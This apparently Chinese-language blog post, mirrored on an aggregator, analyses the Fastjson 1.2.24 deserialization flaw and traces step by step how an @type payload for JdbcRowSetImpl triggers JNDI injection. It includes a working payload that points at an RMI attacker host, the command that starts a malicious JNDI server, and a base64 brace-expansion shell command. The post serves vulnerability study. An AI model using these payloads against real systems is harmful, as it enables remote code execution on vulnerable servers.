1

Fastjson 1.2.24反序列化漏洞浅析

 2 years ago
source link: https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20220325-fastjson.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Fastjson 1.2.24反序列化漏洞浅析

Fastjson 1.2.24反序列化漏洞,作为Java反序列化学习过程中必调试的一个经典漏洞,挖了很久的坑了,在这里填一下。

Fastjson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法(与一般的反序列化调用readObject不相同,但思路类似)。JdbcRowSetImpl类的 setAutoCommit() 会调用 connect() 函数, connect() 会调用 InitialContext.lookup(dataSourceName) ,并且参数可控,造成JDNI注入。所以Fastjson的利用过程是从反序列化触发JNDI注入,涉及到两种漏洞。

调试环境搭建

最开始的时候想用p牛的vulhub,但发现没办法改Dockerfile,也不能改Java的启动设置,打不开debug模式。此处参考vulhub的docker hub记录、jar包和JAVA 漏洞靶场的Dockerfile,自己构建了Dockerfile。

选择较低版本的jdk方便复现,Dockerfile:

FROM openjdk:8u111-jdk-alpine
COPY fastjsondemo.jar /usr/src/fastjsondemo.jar
ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n
CMD ["java","-Dserver.address=0.0.0.0","-Dserver.port=8090","-jar","/usr/src/fastjsondemo.jar"]

docker-compose.yml

version : '2'
services:
server:
build:
context: .
dockerfile: Dockerfile
ports:
- "8090:8090"
- "8000:8000"

Fastjson初识

摘自浅谈fastjson反序列化漏洞

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean

说白了,Fastjson就是一个用来序列化/反序列化Java对象,并储存为json格式的库。JavaBean就是一种满足一些规范(比如实现 getXXX() 方法和 setXXX() 方法)的Java对象,可以简单理解为Java对象。

何为 @type 字段?

Java具有多态的特性,当一个对象的某属性是具有多态的对象时,如果不知道该对象的具体类别,fastjson仅会将其反序列化为父类,从而丢失了子类的额外属性。为了解决这个问题,fastjson提供了 SerializerFeature.WriteClassName 参数以及 @type 字段:

//这种方式会丢失成员属性的子类信息:
String json = JSON.toJSONString(xxx);
//这种方式会记录每一层的对象类型(添加一个@type字段),从而不丢失子类信息:
String json = JSON.toJSONString(xxx, SerializerFeature.WriteClassName);

摘自浅谈fastjson反序列化漏洞

如果@type被指定为某恶意的类,是否会产生漏洞?

应用存在一个根据请求发送的数据更新user对象属性的功能,该功能使用fastjson对请求数据进行解析:

@RequestMapping(value = { "/" }, method = { RequestMethod.POST }, produces = { "application/json;charset=UTF-8" })
@ResponseBody
public Object setUser(@RequestBody final User user) {
user.setAge(Integer.valueOf(20));
return user;

在这里选择 JNDI-Injection-Exploit 作为JNDI恶意服务端,尝试执行 touch /tmp/hachp1

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/hachp1" -A 'x.x.x.x'

因为没有bash,只有sh,不支持大括号的形式( {echo,dG91Y2ggL3RtcC9oYWNocDE=}|{base64,-d}|{bash,-i}

使用对应的url rmi://x.x.x.x:1099/4fvkzz 构造RMI payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/4fvkzz","autoCommit":true}

构造完整payload:

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/lxtcyl","autoCommit":true}, "age":20}}

利用过程跟踪

setXXX的触发过程

在此漏洞中,触发的是以“set”开头的被反序列化的对象的方法。

由于json解析是通过框架的Filter进行,无法直接在应用中打断点,需要去fastjson库里打断点。

漏洞的实际入口在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\support\spring\FastJsonHttpMessageConverter.java#190 :

return JSON.parseObject(in, fastJsonConfig.getCharset(), type, fastJsonConfig.getFeatures());

跟进去,首先进入词法分析和语法分析器(json的语法比较简单,fastjson是按位进行解析的),在 fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#322 ,如果匹配到“@type”,会获取相关的类(在这里是JdbcRowSetImpl类):

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#367 会获取相应的反序列化器:

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

跟进去,会在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\parser\ParserConfig.java#createJavaBeanDeserializer:526 调用JavaBeanInfo类的build方法:

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

其中包括了获取要反序列化的类有哪些成员属性和方法( fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\util\JavaBeanInfo.java#build:134 ):

Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();

fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\util\JavaBeanInfo.java#build:328 会对获取的方法依次遍历,如果方法名以 set 开头,则会获取对应的属性

for (Method method : methods) {
if (!methodName.startsWith("set")) {
continue;
//对"set"开头的方法进行处理,获取对应的属性
char c3 = methodName.charAt(3);
else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3)); //获取属性

这些属性会被存入FieldInfo对象中,供后期反序列化时使用。可以看到,只要是“set”开头的方法,都会尝试获取其对应属性。此外,“get”开头的方法也会在 build 方法中做类似操作。

之后,会根据以上获得的类相关信息在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\parser\deserializer\ASMDeserializerFactory.java:78 ,通过ASM动态加载字节码以获得类 com.sun.rowset.JdbcRowSetImpl 的对应的反序列化器 FastjsonASMDeserializer_2_JdbcRowSetImpl.class (只有在初次加载时才会调用,再次加载时会从hashmap中查找,所以再次跟时需要重启服务器):

byte[] code = cw.toByteArray();
Class<?> exampleClass = defineClassPublic(classNameFull, code, 0, code.length);

由于后面的漏洞触发过程中会用到该类,我们在这里把它dump出来,通过动态执行,该类的字节码会dump到docker的根目录下:

(new FileOutputStream("some.class")).write(code)

然后继续执行, fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#368 对刚加载的动态类进行反序列化:

return deserializer.deserialze(this, clazz, fieldName);

该过程将会进入到动态加载的类,调用该类的 deserialze 方法,盗版deserialize,没有i :)

我们来看一下动态加载的反序列化器类,ASM得到的反序列化器类继承了 JavaBeanDeserializer

public class FastjsonASMDeserializer_2_JdbcRowSetImpl extends JavaBeanDeserializer {

之后会调用 deserialze 方法,所以可以在 JavaBeanDeserializer#deserialze:271 打断点。然后会执行parseField方法,以还原对象的属性:

JavaBeanDeserializer#deserialze:600boolean match = parseField(parser, key, object, type, fieldValues);

然后执行到 JavaBeanDeserializer#parseField:773fieldDeserializer.parseField(parser, object, objectType, fieldValues);

跟进: DefaultFieldDeserializer#parseField:71

value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);

当在此处尝试反序列化我们构造的恶意类的成员属性时,会进入 JavaBeanDeserializer#deserialze:593 ,调用 setValue 方法:

fieldDeser.setValue(object, fieldValue);

FieldDeserializer#setValue:96, 如果需要反序列化对应属性XXX,会调用之前获取到的“setXXX”方法

method.invoke(object, value);

再次回顾一下payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/hzbsma","autoCommit":true} ,可以注意到,在反序列化时会设置对象的 autoCommit 的属性,此时会调用其 setAutoCommit 方法。另外还有一个细节,我们把 dataSourceName 属性放到前面,是因为需要先给对象的 dataSourceName 赋值,fastjson按照字节一个一个的处理,所以在处理后面的 setAutoCommit 时,该属性已经被赋值了。

到这里,fastjson的“setXXX”触发过程分析完毕。

触发JNDI注入:JdbcRowSetImpl类的利用

下面我们再来看一下利用的触发JDNI注入的类,可以看到会使用 dataSourceName 属性作为参数,触发JNDI查询:

package com.sun.rowset;
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
private Connection connect() throws SQLException {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//getDataSourceName返回本对象的DataSourceName属性,调用了lookup函数,存在JNDI注入漏洞

到这里,整个漏洞触发过程分析完毕(后面就是接JNDI注入的链的过程了,这里不再赘述)。对于Java安全的初学者:Java的 this.getXXX() 可以看作是 this.XXX ,与php的反序列化链类似。比如 this.getDataSourceName() 看作 this.dataSourceName ,所以payload中对该属性进行了赋值。

  • fastjson支持@type以指定反序列化的类别->想到恶意类
  • 怎么利用?fastjson还原json数据时会实例化对象、会还原该对象的属性->调用getXXX和setXXX->查找拥有能够利用的getXXX或setXXX方法的类
  • 后续JNDI利用:JNDI利用链的跟踪,与fastjson没有直接的关系
  • 在反序列化一个对象前会先获取对应的反序列化器,有的反序列化器通过ASM动态加载得到
  • 跟踪的难点在于词法解析的过程比较复杂,且过程中存在动态加载的类,无法直接源码调试
  • 整个跟踪过程实际上是学习fastjson在解析对象时如何构造其反序列化器,反序列化器中会获取要反序列化的类的成员方法和成员变量,并根据情况调用其setXXX()getXXX()方法

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK